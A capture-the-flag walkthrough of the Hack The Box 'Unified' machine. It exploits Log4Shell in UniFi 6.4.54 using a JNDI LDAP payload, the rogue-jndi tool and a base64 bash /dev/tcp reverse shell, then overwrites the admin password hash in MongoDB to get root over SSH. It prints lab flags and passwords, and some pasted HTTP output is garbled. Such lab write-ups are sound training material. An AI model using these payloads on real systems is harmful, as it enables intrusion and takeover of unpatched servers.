# The Write-Up for UniFied Starting point on HTB platform.

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### Information about UniFied box:

Operating system: Linux Level: Very easy Tier: Tier II Vulnerability: Log4J Vulnerability summary: Exploiting Log4J vulnerability in a network appliance monitoring system called "UniFi". Target IP: 10.129.210.149 (can be different for you)

### **Vulnerability proving Phase**

First, Let's scan the target by using Nmap tool. My classic nmap command:

nmap -sVC 10.129.210.149 -v



As above output shows, target has 4 ports open: 8080, 22, 8443, 6789.

The scan also shows that Port 8080 is httpproxy service and redirects us to Port 8443 -SSL Web server.

Let's go to https://10.129.210.149:8443/ on our browser:

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A Login page welcomes me. As Pentesters, the version number attracts us under "UniFi" logo - which is 6.4.54. You are lucky if you find any version number on the target! .

I quickly search version number on Google as *'UniFy 6.4.54 Exploit'* which reveals an <u>article</u> that discusses CVE-2021-44228 vulnerability for this application. The vulnerability is in the **'remember'** parameter on login page.

Now, let's open BurpSuite tool to craft POST requests against the target.

## Make sure Intercept is **ON** under Proxy tab on Burpsuite.

Then I sent default credintials like Admin:Admin and also marked 'remember' parameter:

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Now, Let's send this to Repeater tab by rightclicking on it and click on 'Send to Repeater'. Then, we can craft payload and send and get response.



### We should craft our payload into 'remember'

### parameter.

### The payload:

## \${jndi:ldap://{TunO IP Address}/whatever} in double " payload" quotes.

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<pre>1 POST /api/login HTTP/1.1 2 Host: 10.129.210.149:8443 3 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: */* Accept:-Encoding: gzip, deflate, br 7 Referer: https://10.129.210.149:8443/manage/account/login?redirect=%2Fmanage 8 Content-Type: application/json; charset=utf-8 9 Content-Type: application/json; charset=ut</pre>	<pre>1 HTTP/l.1 400 2 vary: Origin Access-Control-Allow-Origin: https://10.129.210.149:8443 Access-Control-Allow-Oredentials: true Access-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials Access-Control-Type: application/json;charset=UTF-8 Content-Type: application/json;charset=UTF-8 Contentine: Close 1 1 2 {     "meta":{         "rc":"error",         "meta":[         }     ;     ;     "data":[         } } </pre>	

If it responses as 'InvalidPayload', this shows that Application is actually vulnerable to this exploit. Another way of proving the vulnerability is to monitor network connections. I will use tcpdump tool which is the same as WireShark but works over command-line.

tcpdump command:

tcpdump -i tun0 port 389

Output after I click 'send' request with payload on Burpsuite:

(root@kali)-[/home/kali]
# tcpdump -i tun0 port 389
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:24:05.774352 IP 10.129.210.149.37898 > 10.10.14.171.ldap: Flags [S], seq 2094724115, win 64240, options [mss 1340,sackOK,TS val 3130173505 ecr
0,nop,wscale 7], length 0
17:24:05.774393 IP 10.10.14.171.ldap > 10.129.210.149.37898: Flags [R.], seq 0, ack 2094724116, win 0, length 0
17:32:55.654971 IP 10.129.210.149.38042 > 10.10.14.171.ldap: Flags [S], seq 2159905324, win 64240, options [mss 1340,sackOK,TS val 3130703354 ecr
0,nop,wscale 7], length 0
17:32:55.655045 IP 10.10.14.171.ldap > 10.129.210.149.38042: Flags [R.], seq 0, ack 2159905325, win 0, length 0

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### shows that target tries to connect back to us on LDAP 389 port.

This is another proof that application is vulnerable.

### **EXPLOIT PHASE**

Now, We should install Open-JDK and Maven on our system to build a payload that we can send to the server and will give us Remote Code Execution on the vulnerable target. Commands:

```
sudo apt update
sudo apt install openjdk-11-jdk -y
then check if Java is installed:
java --version
```

Open-JDK is the Java Development kit, which is used to build Java applications. Maven on the other hand is an Integrated Development Environment (IDE) that can be used to create a structured project and compile projects into jar files .

These applications will also help us use the rogue-jndi Java application, which starts a local malicious LDAP server and allows us to receive connections back from the vulnerable server and execute malicious code.

Once we have installed Open-JDK, we can install Maven. Be sure you are Root!

### sudo apt-get install maven

Now, After installing all necessary packages, we can git clone <u>https://github.com/veracode-</u> <u>research/rogue-jndi</u> Java application: git clone <u>https://github.com/veracode-</u> <u>research/rogue-jndi</u>

cd rogue-jndi

then run:

mvn package

This will create a .jar file in rogue-jndi/target/ directory called RogueJndi-1.1.jar . Now we can craft our payload to pass into the RogueJndi-1-1.jar Java application.

To use the Rogue-JNDI server we will have to craft and pass it a payload, which will be responsible for giving us a shell on the affected system. I use Base64 encoding the payload to prevent any encoding issues. The command:

echo 'bash -c bash -i>&/dev/tcp/{Your IP Address}/{A port of your choice} 0>&1' |base64 Output:

### (root & kali)-[/home/kali/hackthebox/rogue-jndi/target] # echo 'bash -c bash -i>&/dev/tcp/10.10.14.171/1818 0>&1'|base64 YmFzaCAtYyBiYXNoIC1pPiYvZGV2L3RjcC8xMC4xMC4xNC4xNzEvMTgxOCAwPiYxCg=

Now, Second command: java -jar RogueJndi-1.1.jar --command "bash -c {echo,Base64 code here}|{base64,d}|{bash,-i}" --hostname "Your tun0 IP addr"

Output:

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Now, We should change our payload in 'remember' parameter on Burpsuite to this: \${jndi:ldap://Your Tun0 IP:1389/o=tomcat}



### After clicking on 'Send', it should print "Sending LDAP ResourceRef result for o=tomcat with javax.el.ELProcessor payload" Under Rogue Application as below:



Now, Let's set a ncat listener on port we defined before when we encoded Base64. I have used 1818 but you can use any port.

(root \* kali) - [/home/kali]
# sudo nc -lvp 1818
listening on [any] 1818 ...

## Now, Click on "Send" on Burpsuite again after we set listener.

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Server successfully connected back to us:



## Now we can improve our shell by running: script /dev/null -c bash

(root@kali)-[/home/kali] # sudo nc -lvp 1818 listening on [any] 1818 ... 10.129.96.149: inverse host lookup failed: Unknown host connect to [10.10.14.171] from (UNKNOWN) [10.129.96.149] 34426 script /dev/null -c bash Script started, file is /dev/null unifi@unified:/usr/lib/unifi\$ dir dir bin data dl lib logs run webapps work unifi@unified:/usr/lib/unifi\$ pwd pwd /usr/lib/unifi unifi@unified:/usr/lib/unifi\$ Navigate to the /home/michael to find user flag:

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unifi@unified:/usr/lib/unifi$ cd /home/michael
cd /home/michael
unifi@unified:/home/michael$ ls
ls
user.txt
unifi@unified:/home/michael$ cat user.txt
cat user.txt
6ced1a6a89e666c0620cdb10262ba127
unifi@unified:/home/michael$
```

### **Post Exploitation Phase**

Articles says we can get to Administrative panel of UniFi application, but let's first check if MongoDB is running on the target,

Run:

ps aux | grep mongo

Yes, MongoDB is running on Port 27117 as output shows:

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Let's interact with MongoDB by using Mongo command line utility.
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By quick Google search, we can know "UniFi default database" is called 'ace'.

Run the command:

```
mongo --port 27117 ace --eval
"db.admin.find().forEach(printjson);"
```

Output will show Administrator name and his password hash under "x\_shadow":



This hash is not crackable with any know cracking techniques. Instead, we can replace the hash with our newly created hash. We will use 'mkpasswd' tool to create SHA512 hash for a password we set. ("\$6" identifier of a SHA512 hash in the hash of Administrator password.) Command:

### mkpasswd -m sha-512 NewPassword Output:

Now, Let's update the password on Database by running this command: mongo --port 27117 ace --eval 'db.admin.update({"\_id":ObjectId("61ce278f 46e0fb0012d47ee4")},{\$set: {"x\_shadow":"Paste your New SHA-512 Password hash here"}})'

### Now, It's updated if it responded back like this:

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MongoDB server version: 3.6.3													
<pre>WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })</pre>													
unifi@unified:/usr/lib/unifi\$													

Then let's go to the website to log in as "administrator" since we have changed its password:

	UniFi® 6.4.54	
Username		
administrator		
Password		1
	✓ Remember me (1)	
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Make sure you spelled 'administrator' as username correctly.

We are in ! :

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Now, we got Administrative access to the UniFi application.

As **HTB** article says:

'UniFi app offers a setting for SSH Authentication, which is a functionality that allows you to administer other Access Points over SSH from a console or terminal.'

Navigate to settings → site and scroll down to find the SSH Authentication setting. SSH authentication with a root password has been enabled. :



The root SSH password shown in plaintext, Now let's try to connect via SSH by running: ssh root@10.129.96.149 then it will ask for password, paste root password found in App:

'NotACrackablePassword4U2022'

As you see, we successfully connected to ssh root:

```
(root log kali) - [/home/kali]
 # ssh root@10.129.96.149
The authenticity of host '10.129.96.149 (10.129.96.149)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.96.149' (ED25519) to the list of known hosts.
root@10.129.96.149's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
                   https://ubuntu.com/advantage
 * Support:
 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.
   https://ubuntu.com/blog/microk8s-memory-optimisation
root@unified:~#
```

## Now, let's find the root flag to finish this machine on HTB platform. 😂

```
root@unified:~# dir
root.txt
root@unified:~# cat root.txt
e50bc93c75b634e4b272d2f771c33681
root@unified:~#
```

## Finally, Root flag is <br/> **'e50bc93c75b634e4b272d2f771c33681'**

If you read my write-up till to the end here, Thank you so much. See you! !!! I really wonder your
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